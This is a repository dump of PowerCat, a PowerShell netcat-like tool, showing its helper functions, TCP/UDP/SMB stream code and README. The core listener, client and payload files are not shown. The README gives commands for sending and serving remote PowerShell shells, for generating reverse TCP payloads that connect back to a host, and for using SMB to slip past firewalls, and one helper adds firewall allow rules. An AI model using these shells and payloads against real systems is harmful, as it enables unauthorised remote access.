├── PowerCat.psd1
├── Functions
├── Helpers
│ ├── Send-PingAsync.ps1
│ ├── Add-FirewallRule.ps1
│ ├── Test-Port.ps1
│ ├── New-X509Certificate.ps1
│ ├── New-RuntimeParameter.ps1
│ ├── Out-EncodedCommand.ps1
│ └── New-TargetList.ps1
├── NetworkStreams
│ ├── Write-NetworkStream.ps1
│ ├── Close-NetworkStream.ps1
│ ├── Read-NetworkStream.ps1
│ ├── New-UdpStream.ps1
│ ├── New-SmbStream.ps1
│ └── New-TcpStream.ps1
├── Connect-PowerCat.ps1
├── Start-PowerCat.ps1
└── New-PowerCatPayload.ps1
├── LICENSE
└── ReadMe.md
/PowerCat.psd1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/PowerCat/master/PowerCat.psd1
--------------------------------------------------------------------------------
/Functions/Helpers/Send-PingAsync.ps1:
--------------------------------------------------------------------------------
1 | function Send-PingAsync {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdLetBinding()]
7 | Param(
8 | [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline = $true)]
9 | [ValidateNotNullOrEmpty()]
10 | [String[]]$ComputerName,
11 |
12 | [Parameter(Position = 1)]
13 | [ValidateNotNullOrEmpty()]
14 | [Int32]$Timeout = 250
15 | ) #End Param
16 |
17 | $Pings = New-Object Collections.Arraylist
18 |
19 | foreach ($Computer in $ComputerName) {
20 | [void]$Pings.Add((New-Object Net.NetworkInformation.Ping).SendPingAsync($Computer, $Timeout))
21 | }
22 | Write-Verbose "Waiting for ping tasks to complete..."
23 | [Threading.Tasks.Task]::WaitAll($Pings)
24 |
25 | foreach ($Ping in $Pings) { Write-Output $Ping.Result }
26 | }
27 |
--------------------------------------------------------------------------------
/Functions/NetworkStreams/Write-NetworkStream.ps1:
--------------------------------------------------------------------------------
1 | function Write-NetworkStream {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | Param (
7 | [Parameter(Position = 0)]
8 | [String]$Mode,
9 |
10 | [Parameter(Position = 1)]
11 | [Object]$Stream,
12 |
13 | [Parameter(Position = 2)]
14 | [Byte[]]$Bytes
15 | )
16 | switch ($Mode) {
17 | 'Smb' {
18 | try { $Stream.Pipe.Write($Bytes, 0, $Bytes.Length) }
19 | catch { Write-Warning "Failed to send Smb data. $($_.Exception.Message)" }
20 | continue
21 | }
22 | 'Tcp' {
23 | try { $Stream.TcpStream.Write($Bytes, 0, $Bytes.Length) }
24 | catch { Write-Warning "Failed to write to Tcp stream. $($_.Exception.Message)." }
25 | continue
26 | }
27 | 'Udp' {
28 | try { $BytesSent = $Stream.UdpClient.Send($Bytes, $Bytes.Length) }
29 | catch { Write-Warning "Failed to send Udp data to $($Stream.Socket.RemoteEndPoint.ToString()). $($_.Exception.Message)." }
30 | }
31 | }
32 | }
--------------------------------------------------------------------------------
/Functions/NetworkStreams/Close-NetworkStream.ps1:
--------------------------------------------------------------------------------
1 | function Close-NetworkStream {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | Param (
7 | [Parameter(Position = 0)]
8 | [String]$Mode,
9 |
10 | [Parameter(Position = 1)]
11 | [Object]$Stream
12 | )
13 | switch ($Mode) {
14 | 'Smb' {
15 | try { $Stream.Pipe.Dispose() }
16 | catch { Write-Verbose "Failed to close Smb stream. $($_.Exception.Message)." }
17 | continue
18 | }
19 | 'Tcp' {
20 | try {
21 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.TcpStream.Close() }
22 | else { $Stream.Socket.Dispose() ; $Stream.TcpStream.Dispose() }
23 | }
24 | catch { Write-Verbose "Failed to close Tcp stream. $($_.Exception.Message)." }
25 | continue
26 | }
27 | 'Udp' {
28 | try {
29 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $Stream.Socket.Close() ; $Stream.UdpClient.Close() }
30 | else { $Stream.Socket.Dispose() ; $Stream.UdpClient.Dispose() }
31 | }
32 | catch { Write-Verbose "Failed to close Udp stream. $($_.Exception.Message)." }
33 | }
34 | }
35 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2015, Jesse Davis
2 | All rights reserved.
3 |
4 | Redistribution and use in source and binary forms, with or without
5 | modification, are permitted provided that the following conditions are met:
6 |
7 | * Redistributions of source code must retain the above copyright notice, this
8 | list of conditions and the following disclaimer.
9 |
10 | * Redistributions in binary form must reproduce the above copyright notice,
11 | this list of conditions and the following disclaimer in the documentation
12 | and/or other materials provided with the distribution.
13 |
14 | * Neither the name of Invoke-PowerCat nor the names of its
15 | contributors may be used to endorse or promote products derived from
16 | this software without specific prior written permission.
17 |
18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
28 |
29 |
--------------------------------------------------------------------------------
/Functions/Helpers/Add-FirewallRule.ps1:
--------------------------------------------------------------------------------
1 | function Add-FirewallRule {
2 | Param (
3 | [Parameter()]
4 | [String]$Name,
5 |
6 | [Parameter()]
7 | [ValidateSet('HOPOPT','ICMPv4','IGMP','TCP','UDP','IPv6','IPv6Route','IPv6Frag','GRE','ICMPv6','IPv6NoNxt','IPv6Opts','VRRP','PGM','L2TP')]
8 | [String]$Protocol,
9 |
10 | [Parameter()]
11 | [Int[]]$Ports,
12 |
13 | [Parameter()]
14 | [String]$ApplicationName,
15 |
16 | [Parameter()]
17 | [String]$ServiceName
18 | )
19 | $Fw = New-Object -ComObject HNetCfg.FwPolicy2
20 | $Rule = New-Object -ComObject HNetCfg.FWRule
21 |
22 | $Rule.Name = $Name
23 | if ($PSBoundParameters.ApplicationName) { $Rule.ApplicationName = $ApplicationName }
24 | if ($PSBoundParameters.ServiceName) { $Rule.ServiceName = $ServiceName }
25 |
26 | $Rule.Protocol = switch ($Protocol) {
27 | 'HOPOPT' { 0 }
28 | 'ICMPv4' { 1 }
29 | 'IGMP' { 2 }
30 | 'TCP' { 6 }
31 | 'UDP' { 17 }
32 | 'IPv6' { 41 }
33 | 'IPv6Route' { 43 }
34 | 'IPv6Frag' { 44 }
35 | 'GRE' { 47 }
36 | 'ICMPv6' { 58 }
37 | 'IPv6NoNxt' { 59 }
38 | 'IPv6Opts' { 60 }
39 | 'VRRP' { 112 }
40 | 'PGM' { 113 }
41 | 'L2TP' { 115 }
42 | }
43 | $Rule.LocalPorts = $Ports
44 | $Rule.Enabled = $true
45 | $Rule.Grouping = "@firewallapi.dll,-23255"
46 | $Rule.Profiles = 7 # all
47 | $Rule.Action = 1 # NET_FW_ACTION_ALLOW
48 | $Rule.EdgeTraversal = $false
49 |
50 | $Fw.Rules.Add($Rule)
51 | }
--------------------------------------------------------------------------------
/Functions/NetworkStreams/Read-NetworkStream.ps1:
--------------------------------------------------------------------------------
1 | function Read-NetworkStream {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | Param (
7 | [Parameter(Position = 0)]
8 | [String]$Mode,
9 |
10 | [Parameter(Position = 1)]
11 | [Object]$Stream
12 | )
13 | switch ($Mode) {
14 | 'Smb' {
15 | try { $BytesRead = $Stream.Pipe.EndRead($Stream.Read) }
16 | catch { Write-Warning "Failed to read Smb stream. $($_.Exception.Message)." ; continue }
17 |
18 | if ($BytesRead) {
19 | $BytesReceived = $Stream.Buffer[0..($BytesRead - 1)]
20 | [Array]::Clear($Stream.Buffer, 0, $BytesRead)
21 | }
22 | $Stream.Read = $Stream.Pipe.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null)
23 |
24 | if ($BytesRead) { return $BytesReceived }
25 | else { Write-Verbose 'Smb stream closed by remote end.' ; continue }
26 | }
27 | 'Tcp' {
28 | try { $BytesRead = $Stream.TcpStream.EndRead($Stream.Read) }
29 | catch { Write-Warning "Failed to read Tcp stream. $($_.Exception.Message)." ; continue }
30 |
31 | if ($BytesRead) {
32 | $BytesReceived = $Stream.Buffer[0..($BytesRead - 1)]
33 | [Array]::Clear($Stream.Buffer, 0, $BytesRead)
34 | }
35 | $Stream.Read = $Stream.TcpStream.BeginRead($Stream.Buffer, 0, $Stream.Buffer.Length, $null, $null)
36 |
37 | if ($BytesRead) { return $BytesReceived }
38 | else { Write-Verbose 'Tcp stream closed by remote end.' ; continue }
39 | }
40 | 'Udp' {
41 | try { $Bytes = $Stream.UdpClient.EndReceive($Stream.Read, [ref]$Stream.Socket.RemoteEndpoint) }
42 | catch { Write-Warning "Failed to receive Udp data from $($Stream.Socket.RemoteEndpoint.ToString()). $($_.Exception.Message)." ; continue }
43 |
44 | $Stream.Read = $Stream.UdpClient.BeginReceive($null, $null)
45 |
46 | return $Bytes
47 | }
48 | }
49 | }
--------------------------------------------------------------------------------
/Functions/Helpers/Test-Port.ps1:
--------------------------------------------------------------------------------
1 | function Test-Port {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | Param (
7 | [Parameter(Position = 0, Mandatory = $true)]
8 | [Int]$Number,
9 |
10 | [Parameter(Position = 1)]
11 | [ValidateSet('Tcp','Udp')]
12 | [String]$Transport
13 | )
14 |
15 | $IPGlobalProperties = [Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
16 |
17 | if ($Transport -eq 'Tcp') {
18 | foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) {
19 | if ($Connection.LocalEndPoint.Port -eq $Number) {
20 | Write-Warning "Port $Number`:Tcp is already in use."
21 | return $false
22 | }
23 | }
24 | foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) {
25 | if ($Listener.Port -eq $Number) {
26 | Write-Warning "Port $Number`:Tcp is already in use."
27 | return $false
28 | }
29 | }
30 | }
31 | elseif ($Transport -eq 'Udp') {
32 | foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) {
33 | if ($Listener.Port -eq $Number) {
34 | Write-Warning "Port $Number`:Udp is already in use."
35 | return $false
36 | }
37 | }
38 | }
39 | else { # check both Tcp & Udp
40 | foreach ($Connection in $IPGlobalProperties.GetActiveTcpConnections()) {
41 | if ($Connection.LocalEndPoint.Port -eq $Number) {
42 | Write-Warning "Port $Number`:Tcp is already in use."
43 | return $false
44 | }
45 | }
46 | foreach ($Listener in $IPGlobalProperties.GetActiveTcpListeners()) {
47 | if ($Listener.Port -eq $Number) {
48 | Write-Warning "Port $Number`:Tcp is already in use."
49 | return $false
50 | }
51 | }
52 | foreach ($Listener in $IPGlobalProperties.GetActiveUdpListeners()) {
53 | if ($Listener.Port -eq $Number) {
54 | Write-Warning "Port $Number`:Udp is already in use."
55 | return $false
56 | }
57 | }
58 | }
59 | return $true
60 | }
--------------------------------------------------------------------------------
/Functions/Helpers/New-X509Certificate.ps1:
--------------------------------------------------------------------------------
1 | function New-X509Certificate {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | Param (
7 | [Parameter(Position = 0, Mandatory = $true)]
8 | [ValidateNotNullOrEmpty()]
9 | [String]$CommonName
10 | )
11 | $DN = New-Object -ComObject 'X509Enrollment.CX500DistinguishedName.1'
12 | $DN.Encode("CN=$CommonName", 0)
13 |
14 | $PrivateKey = New-Object -ComObject 'X509Enrollment.CX509PrivateKey.1'
15 | $PrivateKey.ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
16 | $PrivateKey.KeySpec = 1 # XCN_AT_KEYEXCHANGE
17 | $PrivateKey.ExportPolicy = 2 # XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG
18 | $PrivateKey.MachineContext = $true
19 | $PrivateKey.Length = 2048
20 | $PrivateKey.Create()
21 |
22 | $HashAlg = New-Object -ComObject 'X509Enrollment.CObjectId.1'
23 | $HashAlg.InitializeFromAlgorithmName(1, 0, 0, 'SHA512')
24 |
25 | $ServerAuthOid = New-Object -ComObject 'X509Enrollment.CObjectId.1'
26 | $ServerAuthOid.InitializeFromValue('1.3.6.1.5.5.7.3.1')
27 | $EkuOid = New-Object -ComObject 'X509Enrollment.CObjectIds.1'
28 | $EkuOid.Add($ServerAuthOid)
29 | $EkuExtension = New-Object -ComObject 'X509Enrollment.CX509ExtensionEnhancedKeyUsage.1'
30 | $EkuExtension.InitializeEncode($EkuOid)
31 |
32 | $Certificate = New-Object -ComObject 'X509Enrollment.CX509CertificateRequestCertificate.1'
33 | $Certificate.InitializeFromPrivateKey(2, $PrivateKey, '')
34 | $Certificate.Subject = $DN
35 | $Certificate.Issuer = $Certificate.Subject
36 | $Certificate.NotBefore = [DateTime]::Now.AddDays(-1)
37 | $Certificate.NotAfter = $Certificate.NotBefore.AddDays(90)
38 | $Certificate.X509Extensions.Add($EkuExtension)
39 | $Certificate.HashAlgorithm = $HashAlg
40 | $Certificate.Encode()
41 |
42 | $Enroll = New-Object -ComObject 'X509Enrollment.CX509Enrollment.1'
43 | $Enroll.InitializeFromRequest($Certificate)
44 | $Enroll.CertificateFriendlyName = $CommonName
45 | $Csr = $Enroll.CreateRequest()
46 | $Enroll.InstallResponse(2, $Csr, 1, '')
47 | $Base64 = $Enroll.CreatePFX('', 0)
48 |
49 | $Bytes = [Convert]::FromBase64String($Base64)
50 | $X509Cert = New-Object Security.Cryptography.X509Certificates.X509Certificate2($Bytes, '')
51 |
52 | return $X509Cert
53 | }
--------------------------------------------------------------------------------
/Functions/Helpers/New-RuntimeParameter.ps1:
--------------------------------------------------------------------------------
1 | function New-RuntimeParameter {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding()]
7 | Param (
8 | [Parameter(Position = 0, Mandatory = $true)]
9 | [ValidateNotNullOrEmpty()]
10 | [Type]$Type,
11 |
12 | [Parameter(Position = 1, Mandatory = $true)]
13 | [ValidateNotNullOrEmpty()]
14 | [String]$Name,
15 |
16 | [Parameter()]
17 | [ValidateNotNullOrEmpty()]
18 | [String[]]$Alias,
19 |
20 | [Parameter()]
21 | [ValidateNotNullOrEmpty()]
22 | [Int]$Position,
23 |
24 | [Parameter()]
25 | [Switch]$Mandatory,
26 |
27 | [Parameter()]
28 | [ValidateNotNullOrEmpty()]
29 | [String]$HelpMessage,
30 |
31 | [Parameter()]
32 | [ValidateNotNullOrEmpty()]
33 | [String[]]$ValidateSet,
34 |
35 | [Parameter()]
36 | [ValidateNotNullOrEmpty()]
37 | [Regex]$ValidatePattern,
38 |
39 | [Parameter()]
40 | [Switch]$ValueFromPipeline,
41 |
42 | [Parameter()]
43 | [Switch]$ValueFromPipelineByPropertyName,
44 |
45 | [Parameter()]
46 | [ValidateNotNullOrEmpty()]
47 | [String]$ParameterSetName = '__AllParameterSets',
48 |
49 | [Parameter()]
50 | [System.Management.Automation.RuntimeDefinedParameterDictionary]$ParameterDictionary
51 | )
52 | #create a new ParameterAttribute Object
53 | $Attribute = New-Object Management.Automation.ParameterAttribute
54 | $Attribute.ParameterSetName = $ParameterSetName
55 |
56 | if ($PSBoundParameters.Position) { $Attribute.Position = $Position }
57 |
58 | if ($Mandatory.IsPresent) { $Attribute.Mandatory = $true }
59 | else { $Attribute.Mandatory = $false }
60 |
61 | if ($PSBoundParameters.HelpMessage) { $Attribute.HelpMessage = $HelpMessage }
62 |
63 | if ($ValueFromPipeline.IsPresent) { $Attribute.ValueFromPipeline = $true }
64 | else { $Attribute.ValueFromPipeline = $false }
65 |
66 | if ($ValueFromPipelineByPropertyName.IsPresent) { $Attribute.ValueFromPipelineByPropertyName = $true }
67 | else { $Attribute.ValueFromPipelineByPropertyName = $false }
68 |
69 | #create an attributecollection object for the attribute we just created.
70 | $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute]
71 |
72 | if ($PSBoundParameters.ValidateSet) {
73 | $ParamOptions = New-Object Management.Automation.ValidateSetAttribute -ArgumentList $ValidateSet
74 | $AttributeCollection.Add($ParamOptions)
75 | }
76 |
77 | if ($PSBoundParameters.Alias) {
78 | $ParamAlias = New-Object Management.Automation.AliasAttribute -ArgumentList $Alias
79 | $AttributeCollection.Add($ParamAlias)
80 | }
81 |
82 | if ($PSBoundParameters.ValidatePattern) {
83 | $ParamPattern = New-Object Management.Automation.ValidatePatternAttribute -ArgumentList $ValidatePattern
84 | $AttributeCollection.Add($ParamPattern)
85 | }
86 |
87 | #add our custom attribute
88 | $AttributeCollection.Add($Attribute)
89 |
90 | $Parameter = New-Object Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
91 |
92 | if($PSBoundParameters.ParameterDictionary) { $ParameterDictionary.Add($Name, $Parameter) }
93 | else {
94 | $Dictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
95 | $Dictionary.Add($Name, $Parameter)
96 | Write-Output $Dictionary
97 | }
98 | }
--------------------------------------------------------------------------------
/Functions/NetworkStreams/New-UdpStream.ps1:
--------------------------------------------------------------------------------
1 | function New-UdpStream {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding(DefaultParameterSetName = 'Client')]
7 | Param (
8 | [Parameter(Position = 0, ParameterSetName = 'Client')]
9 | [Net.IPAddress]$ServerIp,
10 |
11 | [Parameter(Position = 0, ParameterSetName = 'Listener')]
12 | [Switch]$Listener,
13 |
14 | [Parameter(Position = 1)]
15 | [Int]$Port,
16 |
17 | [Parameter()]
18 | [Int]$BufferSize = 65536,
19 |
20 | [Parameter()]
21 | [Int]$Timeout = 60
22 | )
23 |
24 | if ($Listener.IsPresent) {
25 |
26 | $SocketDestinationBuffer = New-Object Byte[] 65536
27 | $RemoteEndPoint = New-Object Net.IPEndPoint @([Net.IPAddress]::Any, $null)
28 | $UdpClient = New-Object Net.Sockets.UDPClient $Port
29 | $PacketInfo = New-Object Net.Sockets.IPPacketInformation
30 |
31 | Write-Verbose "Listening on 0.0.0.0:$Port [udp]"
32 |
33 | $ConnectResult = $UdpClient.Client.BeginReceiveMessageFrom($SocketDestinationBuffer, 0, 65536, [Net.Sockets.SocketFlags]::None, [ref]$RemoteEndPoint, $null, $null)
34 |
35 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew()
36 | [console]::TreatControlCAsInput = $true
37 |
38 | do {
39 | if ([console]::KeyAvailable) {
40 | $Key = [console]::ReadKey($true)
41 | if ($Key.Key -eq [Consolekey]::Escape) {
42 | Write-Warning "Caught escape sequence, stopping UDP Setup."
43 | [console]::TreatControlCAsInput = $false
44 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() }
45 | else { $UdpClient.Dispose() }
46 | $Stopwatch.Stop()
47 | return
48 | }
49 | }
50 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
51 | Write-Warning "Timeout exceeded, stopping UDP Setup."
52 | [console]::TreatControlCAsInput = $false
53 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $UdpClient.Close() }
54 | else { $UdpClient.Dispose() }
55 | $Stopwatch.Stop()
56 | return
57 | }
58 | } until ($ConnectResult.IsCompleted)
59 |
60 | [console]::TreatControlCAsInput = $false
61 | $Stopwatch.Stop()
62 |
63 | $SocketFlags = 0
64 | $SocketBytesRead = $UdpClient.Client.EndReceiveMessageFrom($ConnectResult, [ref]$SocketFlags, [ref]$RemoteEndPoint, [ref]$PacketInfo)
65 | $UdpClient.Connect($RemoteEndPoint)
66 |
67 | if ($SocketBytesRead.Count) { $InitialBytes = $SocketDestinationBuffer[0..($SocketBytesRead - 1)] }
68 |
69 | Write-Verbose "Connection from $($RemoteEndPoint.ToString()) [udp] accepted."
70 |
71 | $Properties = @{
72 | UdpClient = $UdpClient
73 | Socket = $UdpClient.Client
74 | Read = $UdpClient.BeginReceive($null, $null)
75 | }
76 | $UdpStream = New-Object psobject -Property $Properties
77 | }
78 | else { # Client
79 | $RemoteEndPoint = New-Object Net.IPEndPoint @($ServerIp, $Port)
80 | $UdpClient = New-Object Net.Sockets.UDPClient
81 | $UdpClient.Connect($RemoteEndPoint)
82 |
83 | Write-Verbose "Sending UDP data to $($RemoteEndPoint.ToString()).`nMake sure to send some data to the server!"
84 |
85 | $Properties = @{
86 | UdpClient = $UdpClient
87 | Socket = $UdpClient.Client
88 | Read = $UdpClient.BeginReceive($null, $null)
89 | }
90 | $UdpStream = New-Object psobject -Property $Properties
91 | }
92 | return $InitialBytes, $UdpStream
93 | }
--------------------------------------------------------------------------------
/Functions/NetworkStreams/New-SmbStream.ps1:
--------------------------------------------------------------------------------
1 | function New-SmbStream {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding(DefaultParameterSetName = 'Client')]
7 | Param (
8 | [Parameter(Position = 0, ParameterSetName = 'Client')]
9 | [String]$ServerIp,
10 |
11 | [Parameter(Position = 0, ParameterSetName = 'Listener')]
12 | [Switch]$Listener,
13 |
14 | [Parameter(Position = 1)]
15 | [ValidateNotNullorEmpty()]
16 | [String]$PipeName,
17 |
18 | [Parameter(Position = 3)]
19 | [Int]$Timeout = 60,
20 |
21 | [Parameter()]
22 | [Int]$BufferSize = 65536
23 | )
24 |
25 | if ($Listener.IsPresent) {
26 | $PipeSecurity = New-Object IO.Pipes.PipeSecurity
27 | $PipeServer = New-Object IO.Pipes.NamedPipeServerStream($PipeName, 3, 1, 0, [IO.Pipes.PipeOptions]::Asynchronous, $BufferSize, $BufferSize, $PipeSecurity, 0, [IO.Pipes.PipeAccessRights]::ChangePermissions)
28 | $PipeSecurity = $PipeServer.GetAccessControl()
29 | $PipeSecurity.AddAccessRule((New-Object IO.Pipes.PipeAccessRule("Everyone", [IO.Pipes.PipeAccessRights]::FullControl, 0)))
30 | $PipeServer.SetAccessControl($PipeSecurity)
31 | $ConnectResult = $PipeServer.BeginWaitForConnection($null, $null)
32 |
33 | Write-Verbose "Listening on 0.0.0.0:$PipeName [smb]"
34 |
35 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew()
36 | [console]::TreatControlCAsInput = $true
37 |
38 | do {
39 | if ([console]::KeyAvailable) {
40 | $Key = [console]::ReadKey($true)
41 | if ($Key.Key -eq [Consolekey]::Escape) {
42 | Write-Warning "Caught escape sequence, stopping Smb Setup."
43 | [console]::TreatControlCAsInput = $false
44 | $PipeServer.Dispose()
45 | $Stopwatch.Stop()
46 | return
47 | }
48 | }
49 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
50 | Write-Warning "Timeout exceeded, stopping Smb Setup."
51 | [console]::TreatControlCAsInput = $false
52 | $PipeServer.Dispose()
53 | $Stopwatch.Stop()
54 | return
55 | }
56 | } until ($ConnectResult.IsCompleted)
57 |
58 | [console]::TreatControlCAsInput = $false
59 | $Stopwatch.Stop()
60 |
61 | try { $PipeServer.EndWaitForConnection($ConnectResult) }
62 | catch {
63 | Write-Warning "Pipe server connection failed. $($_.Exception.Message)."
64 | $PipeServer.Dispose()
65 | return
66 | }
67 | Write-Verbose "Connection from client accepted."
68 |
69 | $Buffer = New-Object Byte[] $BufferSize
70 |
71 | $Properties = @{
72 | Pipe = $PipeServer
73 | Buffer = $Buffer
74 | Read = $PipeServer.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
75 | }
76 | New-Object psobject -Property $Properties
77 | }
78 | else { # Client
79 |
80 | $PipeClient = New-Object IO.Pipes.NamedPipeClientStream($ServerIp, $PipeName, [IO.Pipes.PipeDirection]::InOut, [IO.Pipes.PipeOptions]::Asynchronous)
81 | try { $PipeClient.Connect(($Timeout * 1000)) }
82 | catch {
83 | Write-Warning "Pipe client connection failed. $($_.Exception.Message)."
84 | $PipeClient.Dispose()
85 | return
86 | }
87 | Write-Verbose "Connected to $ServerIp`:$PipeName."
88 |
89 | $Buffer = New-Object Byte[] $BufferSize
90 |
91 | $Properties = @{
92 | Pipe = $PipeClient
93 | Buffer = $Buffer
94 | Read = $PipeClient.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
95 | }
96 | New-Object psobject -Property $Properties
97 | }
98 | }
--------------------------------------------------------------------------------
/ReadMe.md:
--------------------------------------------------------------------------------
1 | PowerCat
2 | ====
3 | A PowerShell TCP/IP swiss army knife that works with Netcat & Ncat
Inspired by: https://github.com/besimorhino/powercat
4 |
5 | Installation
6 | ------------
7 | PowerCat is packaged as a PowerShell module. You must import the module to use its functions.
8 | ```powershell
9 | # Import the functions via the psd1 file:
10 | Import-Module PowerCat.psd1
11 | ```
12 | #### Functions & Parameters:
13 | ```powershell
14 | Start-PowerCat # Starts a listener/server.
15 |
16 | -Mode # Defaults to Tcp, can also specify Udp or Smb.
17 | -Port # The port to listen on.
18 | -PipeName # Name of pipe to listen on.
19 |
20 | -SslCn # Common name for Ssl encrypting Tcp.
21 | -Relay # Format: ":"
22 | -Execute # Execute a console process or powershell.
23 | -SendFile # Filepath of file to send.
24 | -ReceiveFile # Filepath of file to be written.
25 | -Disconnect # Disconnect after connecting.
26 | -KeepAlive # Restart after disconnecting.
27 | -Timeout # Timeout option. Default: 60 seconds
28 |
29 | Connect-PowerCat # Connects a client to a listener/server.
30 |
31 | -Mode # Defaults to Tcp, can also specify Udp or Smb
32 | -RemoteIp # IPv4 address of host to connect to.
33 | -Port # The port to connect to.
34 | -PipeName # Name of pipe to connect to.
35 |
36 | -SslCn # Common name for Ssl encrypting Tcp.
37 | -Relay # Format: "::"
38 | -Execute # Execute a console process or powershell.
39 | -SendFile # Filepath of file to send.
40 | -ReceiveFile # Filepath of file to be written.
41 | -Disconnect # Disconnect after connecting.
42 | -Timeout # Timeout option. Default: 60 seconds
43 | ```
44 | Basic Connections
45 | -----------------------------------
46 | By default, PowerCat uses TCP and reads from / writes to the console.
47 | ```powershell
48 | # Basic Listener:
49 | Start-PowerCat -Port 443
50 |
51 | # Basic Client:
52 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443
53 | ```
54 | File Transfer
55 | -------------
56 | PowerCat can be used to transfer files using the -SendFile and -ReceiveFile parameters.
57 | ```powershell
58 | # Send File:
59 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
60 |
61 | # Receive File:
62 | Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile
63 | ```
64 | Shells
65 | ------
66 | PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.
67 | ```powershell
68 | # Serve a shell:
69 | Start-PowerCat -Port 443 -Execute
70 |
71 | # Send a Shell:
72 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute
73 | ```
74 | UDP and SMB
75 | -----------
76 | PowerCat supports more than sending data over TCP.
77 | ```powershell
78 | # Send Data Over UDP:
79 | Start-PowerCat -Mode Udp -Port 8000
80 |
81 | # Send Data Over SMB (easily sneak past firewalls):
82 | Start-PowerCat -Mode Smb -PipeName PowerCat
83 | ```
84 | SSL
85 | -----------
86 | PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.
87 | ```powershell
88 | # Admin privileges are required to generate the self-signed certificate.
89 |
90 | # Serve an SSL-Encrypted (Power)Shell:
91 | Start-PowerCat -Mode Tcp -Port 80 -SslCn -Execute
92 |
93 | # Connect to an SSL encrypted Ncat listener:
94 | # Setup *nix with openssl & Ncat:
95 | # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
96 | # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
97 |
98 | Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat
99 | ```
100 | Relays
101 | ------
102 | Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
103 | ```powershell
104 | # UDP Listener to TCP Client Relay:
105 | Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
106 |
107 | # TCP Listener to UDP Client Relay:
108 | Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
109 |
110 | # TCP Client to Client Relay
111 | Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
112 |
113 | # TCP Listener to SMB Listener Relay
114 | New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat
115 | ```
116 | Generate Payloads
117 | -----------------
118 | Payloads can be generated using the New-PowerCatPayload function.
119 | ```powershell
120 | # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
121 | New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute
122 |
123 | # Generate a tcp payload that listens on port 8000:
124 | New-PowerCatPayload -Listener -Port 8000 -Execute
125 | ```
126 | Misc Usage
127 | ----------
